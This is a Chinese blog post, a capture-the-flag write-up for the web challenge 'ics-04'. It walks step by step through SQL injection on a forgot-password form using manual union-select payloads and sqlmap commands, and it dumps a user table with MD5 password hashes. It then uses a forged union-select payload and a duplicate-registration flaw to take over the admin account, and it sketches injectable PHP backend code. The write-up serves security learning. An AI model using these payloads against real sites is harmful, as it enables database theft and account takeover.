NineOnee

导航

 

ics-04

根据提示我们直接观察注册和登录界面,先注册个账号,然后登录进去,提示普通用户登录没用,说明有一个非普通用户登录就会显示flag,这个用户的账号密码都在数据库里,所以我们进行sql注入,找到该用户的信息。

先扫一下登录界面,没有注入点

python2 sqlmap.py -r test1.txt --batch


在扫一下注册界面,没有注入点


扫一下忘记密码界面,这里存在注入点


手工注入

构造123456'''""""返回没有这个用户

构造123456' -- +返回正常

构造123456' and 1=1返回没有这个用户

这就说明查询为假和查询语法错误都返回没有这个用户

查询为真时返回正常

爆列数

123456' order by 5 返回没有这个用户

123456' order by 4 返回正常

说明列数是4列

爆数据库

13456' union select 11,22,33,44 -- +第三个位置回显

接着构造13456' union select 11,22,datAbase(),44 -- +

没有回显database(),说明database()被过滤了,并且大小写过滤没啥用。

然后我试着直接爆表

13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema=database() -- +

发现这时也没有回显表名,说明这要第三个位置有database()这个字符,就不会回显我们想要的信息,我们试着绕过database()的书写。

构造13456' union select 11,22,group_concat(schema_name),44 from information_schema.schemata -- + 成功爆出数据库information_schema,cetc004,mysql,performance_schema

我们所用的数据库是cetc004

爆表

13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema="cetc004" -- + 爆出user表

爆列名

13456' union select 11,22,group_concat(column_name),44 from information_schema.columns where table_name="user" -- +

username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view

虽然爆出这么多表,但实际上就只有前4个有用

爆具体列

13456' union select 11,22,group_concat(username,"~",password,"~",question,"~",answer),44 from cetc004.user -- +

爆出

c3tlwDmIn23~2f8667f381ff50ced6a3edc259260ba9~cetc~cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,123456~e10adc3949ba59abbe56e057f20f883e~123456~123456

显然密码经过了md5加密

sqlmap爆库

将bp抓包,将请求头放在sqlmap.py下的文件目录下

python2 sqlmap.py -r test3.txt --current-db --batch 这里sqlmap也没爆出当前数据库,原因在于database()被过滤了


爆数据库

python2 sqlmap.py -r test3.txt --dbs --batch

爆表

python2 sqlmap.py -r test3.txt -D cetc004 --tables --batch

爆列名

python2 sqlmap.py -r test3.txt -D cetc004 -T user --columns --batch

爆具体字段

python2 sqlmap.py -r test3.txt -D cetc004 -T user -C "username,password,question,answer" --dump --batch

思路一

爆出数据库后,就卡在这里做不出来了,看了wp才知道这里有着同一个用户名可以多次注册的漏洞。

我们已经知道了存在一个c3tlwDmIn23的用户,猜测登录这个用户就可获得flag,所以我们在注册页面,再用这个名字注册一个账户,密码自己随便设置,然后再登录用我们自己的密码即可。


猜测后台类似代码类似于

if($SESSION["username"]=="c3tlwDmIn23")
{
  echo "flag{*******}"
}

思路二

在忘记密码界面进行抓包。


发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析是通过SESSION判断


每当用户查询成功一次,就会返回与这个用户相对应的PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,这个SESSION对应数据库的信息,然后在之后的表单提交过程中进行对比。

例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。然后将再将这个session,返回给客户端,以后再访问该页面时,就会带上该对应的PHPSESSID,实现了会话的维持。

function login($username,$password)
{
	....sql查询
	if(登录成功)
	{
		session_start();
		$_SESSION['username']=$username;
		$_SESSION['password']=$password;
	}
}

而这道题后台大概的修改密码的php代码可以为猜测如下:

function check_user($username)
{
	$sql = "select * from user where username = '$username'";
	$row = db_query($sql);
	if(count($row)>0)
	{
		session_start();
		$_SESSION['islogin'] = true;
		$_SESSION['username']=$row[0]['username'];
		$_SESSION['password']=$row[0]['password'];
		$_SESSION['question']=$row[0]['question'];
		$_SESSION['answer']  =$row[0]['answer'];
		return true;
	}
	else
	{
		return false;
	}
}

function update_password($answer,$password)
{
	session_start();
	if($_SESSION['islogin'])
	{
		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
		{
			session_start();
			$_SESSION['auth'] = true;
			return true;
		}
		else
		{
			return false;
		}
	}
	return false;
}

function change_password($password)
{
	session_start();
	if($_SESSION['auth']&&$_SESSION['islogin'])
	{
		$password = md5($password);
		$sql = "update user set password='$password' where username='$_SESSION['username']'";
		db_query($sql);
		return true;
	}
	return false;
}

然后我们构造

1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'# ,其中202cb962ac59075b964b07152d234b70是123的md5加密,

然后密保答案就是2

密码就是123

进去修改密码页面,再改c3tlwDmIn23的密码,然后登录即可得到flag

参考博客:https://www.cnblogs.com/suferma/p/12852430.html

posted on 2020-10-29 13:59  NineOne_E  阅读(79)  评论(0编辑  收藏  举报